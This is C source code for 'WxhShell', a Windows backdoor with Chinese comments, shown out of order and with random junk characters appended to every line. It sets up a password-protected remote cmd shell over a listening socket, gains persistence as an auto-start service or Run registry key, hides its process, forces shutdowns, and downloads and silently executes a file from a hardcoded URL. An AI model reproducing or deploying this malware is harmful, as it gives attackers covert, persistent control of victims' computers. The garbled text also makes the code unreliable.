  case 'd': { Ty4S~ClO#'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5]Da{Wmgs  
    if(Boot(SHUTDOWN)) .IrNa>J~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4vZ4/#(x  
    else { N3A<:%s  
    closesocket(wsh); L EWhb!U  
    ExitThread(0); `#s#it'y  
    } /Ft:ffR|R  
    break; |i %2%V#  
    } :' #\  
  // 获取shell ii|? ;  
  case 's': { n{5NNV6  
    CmdShell(wsh); m?CZQq,  
    closesocket(wsh); 4mYCSu14:`  
    ExitThread(0); ?8V UO x  
    break; s|yVAt|=  
  } @tUoD>f  
  // 退出 #Z,E><t  
  case 'x': { ':h =*v8a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rd&9E  
    CloseIt(wsh); T2'RATfG  
    break; 8G^<[`.@j  
    } 7{kP}?  
  // 离开  ht97s  
  case 'q': { %/9;ZV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`'1t3p0i  
    closesocket(wsh); wFS2P+e;X  
    WSACleanup(); - xm{&0e)  
    exit(1); dbdM"z 4  
    break; $hrIO+  
        } c WAtju?L;  
  } P87# CAN  
  } &p(0K4:  
u_O# @eOc  
  // 提示信息 X$?3U!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =6 r:A<F!n  
} 7N8H)X  
  } J1ON,&[J  
_ Y2 U7W  
  return; W_YY#wf_  
} |+,[``d>"  
Td\o9  
// shell模块句柄 |9K<-yD  
int CmdShell(SOCKET sock) h:bru:ef  
{ L{{CAB!  
STARTUPINFO si; d3Di/Iej   
ZeroMemory(&si,sizeof(si)); )U t5+-UK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N5U)*U'-u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MmTC=/j  
PROCESS_INFORMATION ProcessInfo; :\ QUs}  
char cmdline[]="cmd"; ?*"srE,#JX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4$6T+i2E   
  return 0; is^pgKX  
} b-5y9K  
95W?{> @  
// 自身启动模式 h11.'Eej`  
int StartFromService(void) %b2oiKSBx?  
{ e( X|3h|  
typedef struct LaMLv<)k  
{ _~'+Qe_o$5  
  DWORD ExitStatus; s,]%dG!  
  DWORD PebBaseAddress; v;1F[?@3Y  
  DWORD AffinityMask; U/{6% Qy  
  DWORD BasePriority; Zi\['2CG  
  ULONG UniqueProcessId; W-~n|PX8+  
  ULONG InheritedFromUniqueProcessId; "`Ge~N[$A  
}   PROCESS_BASIC_INFORMATION; )~)*=u/  
 :nY 2O  
PROCNTQSIP NtQueryInformationProcess; XMN:]!1J  
7Cqcb>\X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bru/AZ#de  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (oz$B0HO:  
lK7m=[ j  
  HANDLE             hProcess; ow'Vz Ay-  
  PROCESS_BASIC_INFORMATION pbi; * *H&+T/B  
$:s`4N^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } R4c  
  if(NULL == hInst ) return 0; >JwLk[=j  
;lX(}2tXW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E.bi05l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sW#JjtK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PCrU<J 7  
}G<T:(a  
  if (!NtQueryInformationProcess) return 0; 58xnB!h\}  
P(k(m< 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z&8un% Jt  
  if(!hProcess) return 0; `6Qdfmk=  
QnouBrhO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yF._*9Q3hK  
Ck =;1sGh  
  CloseHandle(hProcess); B$Z3+$hfF  
P,DC7\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T'-FV  
if(hProcess==NULL) return 0; RkEN ,xWE  
/\s}uSW  
HMODULE hMod; SlLw{Yb7\.  
char procName[255]; LjFqZrH  
unsigned long cbNeeded; t`'iU$:1f  
4\ c,)U}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); owpWz6k7  
E\ 8  
  CloseHandle(hProcess); b,TiMf9},h  
Z(>'0]G  
if(strstr(procName,"services")) return 1; // 以服务启动 #:x4DvDkR  
2aA`f7  
  return 0; // 注册表启动 Uggw-sRU  
} #zUXyT#X  
"[p@tc?5  
// 主模块 rZPT89M6  
int StartWxhshell(LPSTR lpCmdLine) 0H_!Kg  
{ H5cV5E0  
  SOCKET wsl; wd@aw/  
BOOL val=TRUE; ^rl"rEA  
  int port=0; s MN*RKer  
  struct sockaddr_in door; r`S< A;  
&ZHC-qMRK  
  if(wscfg.ws_autoins) Install(); )}%O>%  
wXjFLg!g?  
port=atoi(lpCmdLine); s pLZ2]A  
|WryBzZ>on  
if(port<=0) port=wscfg.ws_port; -~" :f8  
nR>r2wMk@  
  WSADATA data; jVgFZ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X6+qpp  
{%v-(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #3=P4FUz.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dx*qb  
  door.sin_family = AF_INET; YNrp}KQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J/!cGr( B~  
  door.sin_port = htons(port);  h_d+$W5  
]'~vI/p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c)md  
closesocket(wsl); $/1c= Y@  
return 1; f&,{XZ  
} 60=m  
>evS} O6  
  if(listen(wsl,2) == INVALID_SOCKET) { l%R50aL  
closesocket(wsl); x_!0.SU  
return 1; Il@Y|hK  
} z\ss4  
  Wxhshell(wsl); q}BzyC=:n  
  WSACleanup(); gnp~OVDqfL  
^[-el=oKn0  
return 0; ;8S/6FI  
>N\0"F7.  
} &M/0g]4p  
kU-t7'?4  
// 以NT服务方式启动 w6dFb6~R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9vNkZ-1  
{ + 1IQYa|  
DWORD   status = 0; /"H`.LD.?  
  DWORD   specificError = 0xfffffff; w=h1pwY  
f~OU*P>V@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xb !MaNm)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P #F=c34u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vzel#  
  serviceStatus.dwWin32ExitCode     = 0; o'~5pS(wq  
  serviceStatus.dwServiceSpecificExitCode = 0; ;|p$\26S)%  
  serviceStatus.dwCheckPoint       = 0; g[>\4B9t  
  serviceStatus.dwWaitHint       = 0; $ N']TN  
_qqr5NU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $uui:wU%Q  
  if (hServiceStatusHandle==0) return; WnwhSr2  
WnUweSdW  
status = GetLastError(); aq+Y7IR_  
  if (status!=NO_ERROR) "jecsqCgK0  
{ :f5s4N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &0TVi  
    serviceStatus.dwCheckPoint       = 0; :M{Y,~cP  
    serviceStatus.dwWaitHint       = 0; qzw'zV  
    serviceStatus.dwWin32ExitCode     = status; iGDLZE+?  
    serviceStatus.dwServiceSpecificExitCode = specificError; cH-@V<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5m=I*.qE  
    return; MC((M,3L  
  } K'iIJA*Sn  
b?4/#&z]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M}_ i52  
  serviceStatus.dwCheckPoint       = 0; jJ4qR:]  
  serviceStatus.dwWaitHint       = 0; o[ENp'r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O<)y-nx;X  
} 22<0DhJ  
?.c;oS|  
// 处理NT服务事件,比如:启动、停止 +#b:d=v!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0c.s -  
{ }),w1/#5u8  
switch(fdwControl) 9%ii '{  
{ FEPXuCb  
case SERVICE_CONTROL_STOP: Glq85S  
  serviceStatus.dwWin32ExitCode = 0; ]nQt>R p_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r!P}u  
  serviceStatus.dwCheckPoint   = 0; 2>-S-;i  
  serviceStatus.dwWaitHint     = 0; o47r<>t  
  { A`}yBSb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Y)PU=  
  } S0g'r !;6  
  return; @ DZD  
case SERVICE_CONTROL_PAUSE: O9'x -A%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~'5  
  break; Uw-p758dD  
case SERVICE_CONTROL_CONTINUE: hqk}akXt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h=kQ$`j6  
  break; iyVB3:M  
case SERVICE_CONTROL_INTERROGATE: 7f<EoSK  
  break; {:c]|^w6  
}; k+V6,V)my  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FLoNE>q  
} /!}'t  
>U1R.B7f  
// 标准应用程序主函数 H* ,,^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hv]7e|  
{ E@a3~a  
_8}QlT  
// 获取操作系统版本 zJ+8FWy:S  
OsIsNt=GetOsVer(); ,U )"WLmY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % |q0-x  
#QvMVy  
  // 从命令行安装 ,U*)2`[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4> ^K:/y  
r4x3$M c  
  // 下载执行文件 \^1+U JU  
if(wscfg.ws_downexe) { L.xZ_ 6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C^t(^9  
  WinExec(wscfg.ws_filenam,SW_HIDE); =S[yE]v^  
} 0Iud$Lu  
?::NO Dg  
if(!OsIsNt) { w(L>#?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^1:U'jIXO  
HideProc(); oIGrA-T}  
StartWxhshell(lpCmdLine); ~zm 7?_"@]  
} H?}[r)|(3i  
else P+MA*:  
  if(StartFromService()) p3ISWJa!  
  // 以服务方式启动 `"iY*  
  StartServiceCtrlDispatcher(DispatchTable); Q@e[5RA +]  
else Mcw4!{l`  
  // 普通方式启动 c4e_6=Iv  
  StartWxhshell(lpCmdLine); -K(fh#<6KO  
K|C^l;M6  
return 0; $@\mpwANl  
} Z') pf  
rOW-0B+N  
n}A\2bO  
. .QB~  
=========================================== cN! uV-e  
nqR?l4 DX  
?#0snlah|  
D PrBFmHF  
N_4eM,7t  
 6,1b=2G  
" *KK+X07  
H@X oqgI  
#include <stdio.h> _!xD8Di#  
#include <string.h>  gB\T[RV  
#include <windows.h> UX`]k{Mz  
#include <winsock2.h> EG'[`<*h  
#include <winsvc.h> -]C c  
#include <urlmon.h> gw+9x<e  
xy+QbD T  
#pragma comment (lib, "Ws2_32.lib") "O+5R(XT  
#pragma comment (lib, "urlmon.lib") nmlPX7!{$  
q,<[hBri-  
#define MAX_USER   100 // 最大客户端连接数  O#nR>1h  
#define BUF_SOCK   200 // sock buffer _ 7oV<  
#define KEY_BUFF   255 // 输入 buffer k<w(i k1bi  
)T907I|  
#define REBOOT     0   // 重启 l=`L7| ^/d  
#define SHUTDOWN   1   // 关机 @vgG1w  
uBg 8h{>  
#define DEF_PORT   5000 // 监听端口 [MX;,%;;  
^/wfXm  
#define REG_LEN     16   // 注册表键长度 s )voII&  
#define SVC_LEN     80   // NT服务名长度 *y`%]Hy<  
j^`X~gE  
// 从dll定义API F} J-gZl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AJt!!crs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `\=Gp'&Q+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NIZ<0I*5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QH4wUU3X  
HLQ"?OFlz  
// wxhshell配置信息 w&Dv8Wv+Oq  
struct WSCFG { ?&WYjTU]H  
  int ws_port;         // 监听端口 C2]Kc{4  
  char ws_passstr[REG_LEN]; // 口令 LW#M@  
  int ws_autoins;       // 安装标记, 1=yes 0=no SEQ%'E5-'  
  char ws_regname[REG_LEN]; // 注册表键名 aRj>iQaddx  
  char ws_svcname[REG_LEN]; // 服务名 50j OA#l[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s30 O@M))  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O9v_y+M+M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mr+@c)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < V\Y@Ei+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7RU}FE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~:;3uL s,8  
9L%I<5i  
}; MFJE6ei  
|6biq8|$3V  
// default Wxhshell configuration I4H`YOD%  
struct WSCFG wscfg={DEF_PORT, !=Y;h[J.p  
    "xuhuanlingzhe", ~Y= @$!Uq  
    1, XA0 (f*  
    "Wxhshell", 0X..e$ '  
    "Wxhshell", ;N+$2w  
            "WxhShell Service", dYFzye  
    "Wrsky Windows CmdShell Service", @$Qof1j'%  
    "Please Input Your Password: ", mOll5O7VW  
  1, O(2cWQ  
  "http://www.wrsky.com/wxhshell.exe", k0?ZYeHC  
  "Wxhshell.exe" i< (s}wg  
    }; QrD o|GtE  
t$& Qv)  
// 消息定义模块 ,lY aA5&I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q+|{Bs)6i1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k>4qkigjc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &0N<ofYX  
char *msg_ws_ext="\n\rExit."; ~+D*:7Y_  
char *msg_ws_end="\n\rQuit."; E ?2O(  
char *msg_ws_boot="\n\rReboot..."; rt]S\  
char *msg_ws_poff="\n\rShutdown..."; oqkVYlE  
char *msg_ws_down="\n\rSave to "; *#>F.#9  
c"YXxA J  
char *msg_ws_err="\n\rErr!"; I"L;L?\S  
char *msg_ws_ok="\n\rOK!"; $X`y%*<<v  
CF y}r(q  
char ExeFile[MAX_PATH]; #~:P}<h  
int nUser = 0; KcGsMPJ  
HANDLE handles[MAX_USER]; wn +FTqj  
int OsIsNt; BJjx|VA+  
ClW'W#*(Y  
SERVICE_STATUS       serviceStatus; }6RT,O g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8$P>wCK\l  
.r|*Ch#;P  
// 函数声明 ZU'!iU|8  
int Install(void); KV!<Oq  
int Uninstall(void); AH7L.L+$M  
int DownloadFile(char *sURL, SOCKET wsh); .;/L2Jv  
int Boot(int flag); db=$zIB[:  
void HideProc(void); qG8s;_G  
int GetOsVer(void); r >{G`de4  
int Wxhshell(SOCKET wsl); 0V,Nv9!S  
void TalkWithClient(void *cs); !jX4`/n2  
int CmdShell(SOCKET sock); `qpc*enf0  
int StartFromService(void); -xmf'c9P  
int StartWxhshell(LPSTR lpCmdLine); 4 k}e28  
-Q e~)7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4|J[Jdj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ; ~ 4k7Uz  
jjOgG-Q  
// 数据结构和表定义 Pd=,$UQp  
SERVICE_TABLE_ENTRY DispatchTable[] =  aA*9,  
{ dFW=9ru+MQ  
{wscfg.ws_svcname, NTServiceMain}, >}+Q:iNQ)2  
{NULL, NULL} a^nAZ  
}; uq7T{7~<  
8 ,}ikOZ?  
// 自我安装 #~Q=h`9  
int Install(void) Bl.u=I:Y4  
{ To"dG& h  
  char svExeFile[MAX_PATH]; D=?{8'R'  
  HKEY key; oT+(W,G  
  strcpy(svExeFile,ExeFile); }F1s tDx  
wJ"ev.A)  
// 如果是win9x系统,修改注册表设为自启动 }Ag|gF!_  
if(!OsIsNt) { SQ(apc}N4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1IH[g*f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); </oY4$l'  
  RegCloseKey(key); _uH9XGm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G"s0GpvQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7| YrdK<  
  RegCloseKey(key); /"AvOh*  
  return 0; _j#SpL'P  
    } wvc>0?t'  
  } $N+6h#  
} "X1vZwK8N  
else { *$,+`+  
2=*=^)FNI  
// 如果是NT以上系统,安装为系统服务  y).P=z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V 2znU  
if (schSCManager!=0) :xeLt;  
{ *_hLD5K!  
  SC_HANDLE schService = CreateService WO</Q6+  
  ( 2wpjU&8W!  
  schSCManager, a0_(eO-S  
  wscfg.ws_svcname, )*1.eObhL  
  wscfg.ws_svcdisp, ksI>IW  
  SERVICE_ALL_ACCESS, [, f)9v)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |"k&fkS$  
  SERVICE_AUTO_START, `7Ug/R<  
  SERVICE_ERROR_NORMAL, 1$LIpx  
  svExeFile, crmUrF#  
  NULL, hb^!LtF#Y  
  NULL, xxX/y2\  
  NULL, [B/0-(?  
  NULL, # mT]j""  
  NULL jz:gr=* z  
  ); a8uYs DS  
  if (schService!=0) o"_=K%9  
  { z]#hWfM4B:  
  CloseServiceHandle(schService); IsYP0(L  
  CloseServiceHandle(schSCManager); 3B9nP._  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YB!!/ SX4  
  strcat(svExeFile,wscfg.ws_svcname); (!zM\sF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z!\@%`0$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (aKZ5>>cN  
  RegCloseKey(key); `F1dyf!p<  
  return 0; w=J4zkWk  
    } T%I&txl  
  } RsSXhPk?  
  CloseServiceHandle(schSCManager); C ?7X"~ ~  
} I6dm@{/:>  
} d79N-O-  
s44iEh=V(I  
return 1; ,b' 4CF  
} aWvd`qA9r  
moO _-@i  
// 自我卸载 kL7^$  
int Uninstall(void) ?SX_gYe9  
{ 1r4,XSk  
  HKEY key; 981!2*  
EF;,Gjh5p  
if(!OsIsNt) { 31XU7A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { olty4kGD$V  
  RegDeleteValue(key,wscfg.ws_regname); RO oE%%8I  
  RegCloseKey(key); 0n5UKtB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @>O&Cpt  
  RegDeleteValue(key,wscfg.ws_regname); v]bAWo  
  RegCloseKey(key); f=ib9WbR#  
  return 0; TETsg5#  
  } .hN3`>*V  
} h~ha  
} rSyaZ6#  
else { 0j@IxEPs  
9~Xg#{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fk$@Yy+}e  
if (schSCManager!=0) Y ><(?  
{ D@hmO]5c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <xF?~7  
  if (schService!=0) `pYE[y+  
  { N(R,8GF5G  
  if(DeleteService(schService)!=0) { 1g i}H)  
  CloseServiceHandle(schService); ay[+2"  
  CloseServiceHandle(schSCManager); k,]{NO   
  return 0; Ekf2NT  
  } v MWC(m  
  CloseServiceHandle(schService); "k>bUe|RG  
  } s^PmnFR  
  CloseServiceHandle(schSCManager); `u=<c  
} h.b+r~u  
} >B~?dTm  
s1=u{ET  
return 1; nHU3%%%cU  
}  y h-9u  
>4'21,q  
// 从指定url下载文件 r5)f82pQ  
int DownloadFile(char *sURL, SOCKET wsh) A_Gp&acs$  
{ @Z2/9K%1'  
  HRESULT hr; XI g|G}i.  
char seps[]= "/"; 4~WlP,,M  
char *token; rqC1  
char *file; lt%-m@#/  
char myURL[MAX_PATH]; yS"0/Rm}  
char myFILE[MAX_PATH]; '%O\E{h  
J~2 CD*v  
strcpy(myURL,sURL); m){&:Hs  
  token=strtok(myURL,seps); j?J=w=.Nx  
  while(token!=NULL) ~%GSsm\J  
  {  * D3  
    file=token; WFdem/\kX  
  token=strtok(NULL,seps); +-k`x0v  
  } /O"0L/hc^  
2o}8W7y  
GetCurrentDirectory(MAX_PATH,myFILE); },3R%?8 9%  
strcat(myFILE, "\\"); D4\(:kF\Hg  
strcat(myFILE, file); p,^>*/O>  
  send(wsh,myFILE,strlen(myFILE),0); <w11nB)  
send(wsh,"...",3,0); ~$ WQ"~z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9oD#t~+F4  
  if(hr==S_OK) 1 ' %-y  
return 0; F\P!NSFZV  
else ke</x+\F  
return 1; |vN$"mp^a  
B)d@RAk  
} 9;:7e*x]lc  
k7[)g]u  
// 系统电源模块 <on)"{W13  
int Boot(int flag) mZ&]  
{ %J3lK]bv(  
  HANDLE hToken; A3!2"}L  
  TOKEN_PRIVILEGES tkp; D2-O7e  
U#l.E 1Z  
  if(OsIsNt) { .?7So3   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w5=EtKTi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W.sD2f  
    tkp.PrivilegeCount = 1;  A8`orMo2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3~8AcX@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ri;r7Y9V9`  
if(flag==REBOOT) { 33S`aJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @) ]t8(  
  return 0; ~M(pCSJ[  
} xKisL=l6Y  
else { 5"]aZMua  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *,_2hvlz  
  return 0; y& Gw.N}<r  
} A` oa|k!U  
  } /Ir 7 DZK  
  else { 7YSuB9{M  
if(flag==REBOOT) { ]lC4+{V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <4SF~i  
  return 0; ~n)]dFy  
} eq7C]i rH  
else { W>UjUq);  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IrUpExJ  
  return 0; 9 ?[4i'  
} rUhWZta  
} )Ep@$Gv|S  
(p'/p  
return 1; 0!)U *+j,  
} -U&098}<K  
vHoT@E#}'  
// win9x进程隐藏模块 !k ;[^>  
void HideProc(void) ',<{X (#(  
{ %,h!: Ec^c  
~p0 e=u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E%KC'T N^D  
  if ( hKernel != NULL ) 1"N/ZKF-x  
  { oTZo[T@zRx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hlt9x.e.A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lb=2*dFJ1  
    FreeLibrary(hKernel); h6K!|-Gq.  
  } k{!iDZr&f,  
s$eK66H  
return; D]3bwoFo&u  
} dICnB:SSB  
)I^)*(}  
// 获取操作系统版本 zV9 =  
int GetOsVer(void) Ji)%Y5F  
{ 4"rb&$E   
  OSVERSIONINFO winfo; 7 B4w.P,B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m3x!*9h  
  GetVersionEx(&winfo); ]M02>=1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z0FR33-  
  return 1; L2do 2_  
  else %l0_PhAB  
  return 0; Z%(Df3~gmm  
} j TGS6{E  
BIwgl@t!>  
// 客户端句柄模块 lU >)n  
int Wxhshell(SOCKET wsl) B`t)rBy  
{ 0EF,uRb  
  SOCKET wsh; S8rW'}XJ=H  
  struct sockaddr_in client; 89?3,k  
  DWORD myID; `XFX`1  
~{kA) :  
  while(nUser<MAX_USER) Uj y6vgU;  
{ F=P+;%.  
  int nSize=sizeof(client); `Nxo0Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ej9/_0lt  
  if(wsh==INVALID_SOCKET) return 1; W\ZV0T;<]  
AiR%MD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c=uBT K*  
if(handles[nUser]==0) Zi15wE  
  closesocket(wsh); uk>q\j  
else KR+aY.  
  nUser++; 4C2>0O<^s  
  } |~1rKzZwF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Etd#">  
aH~x7N6!  
  return 0; @9 qzn&A  
} S:"z<O  
Q)7L^  
// 关闭 socket N P0Hgd  
void CloseIt(SOCKET wsh) >*ha#PE  
{ xP|%rl4  
closesocket(wsh); c+YYM :S  
nUser--; kfG65aa>_  
ExitThread(0); [7ek;d;'t  
} >8.v.;`  
;8 /+wBnm  
// 客户端请求句柄 UGezo3}  
void TalkWithClient(void *cs) H_xQ>~b  
{ a`GN@ 8  
E: LQ!  
  SOCKET wsh=(SOCKET)cs; _tWfb}6;Zb  
  char pwd[SVC_LEN]; 6kmZ!9w0|  
  char cmd[KEY_BUFF]; jQw`*Y/,  
char chr[1]; $TH'"XK  
int i,j; ,AFC1t[0  
J_((o  
  while (nUser < MAX_USER) { qJAv=D  
9cx!N,R t  
if(wscfg.ws_passstr) { -sGWSC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {R6Zwjs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hIg, 0B  
  //ZeroMemory(pwd,KEY_BUFF); .P0Qs&i  
      i=0; ?Pok-90  
  while(i<SVC_LEN) { c=U$$|qHV  
Wtzj;GJj  
  // 设置超时 +p%5/ smfs  
  fd_set FdRead; #xJGuYdv  
  struct timeval TimeOut; g}s-v?+  
  FD_ZERO(&FdRead); IJb1) ZuR  
  FD_SET(wsh,&FdRead); g)| ++?  
  TimeOut.tv_sec=8; 3 MI) E  
  TimeOut.tv_usec=0; EY[Q%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~*Sbn~U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %I2xK.8=  
2 |kH%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AcfkY m~  
  pwd=chr[0]; X?k V1  
  if(chr[0]==0xd || chr[0]==0xa) { 7T(OV<q;#  
  pwd=0; O'yjB$j  
  break; ofJ]`]~VG  
  } JQVw6*u{  
  i++; zi DlJ3]^  
    } :6Pc m3  
# |*,zIYo  
  // 如果是非法用户,关闭 socket Y|qixpP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9OO_Hp#|9  
} 6pdl,5[x-  
Kr}M>hF+|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c#4L*$ViF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PU/Br;2A  
"3KSmb   
while(1) { %?9r(&  
R4rm>zisVX  
  ZeroMemory(cmd,KEY_BUFF); ba)YbP[  
%(7wZ0Z  
      // 自动支持客户端 telnet标准   <:yq~?  
  j=0; 6^z \;,p  
  while(j<KEY_BUFF) { ff5 Lwf{{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nluyEK  
  cmd[j]=chr[0]; 4\eX=~C>:  
  if(chr[0]==0xa || chr[0]==0xd) { :pF]TY"K.  
  cmd[j]=0; O]r3?=  
  break; {-7yZ]OO$  
  } EX_sJc  
  j++; ; K 6Fe)  
    } Z!=Pc$?  
A%czhF  
  // 下载文件 yU8Y{o;:  
  if(strstr(cmd,"http://")) { QmkC~kK1.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8UY=}R2C  
  if(DownloadFile(cmd,wsh)) 6+f>XL#w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36A.h,~  
  else E{]|jPdr  
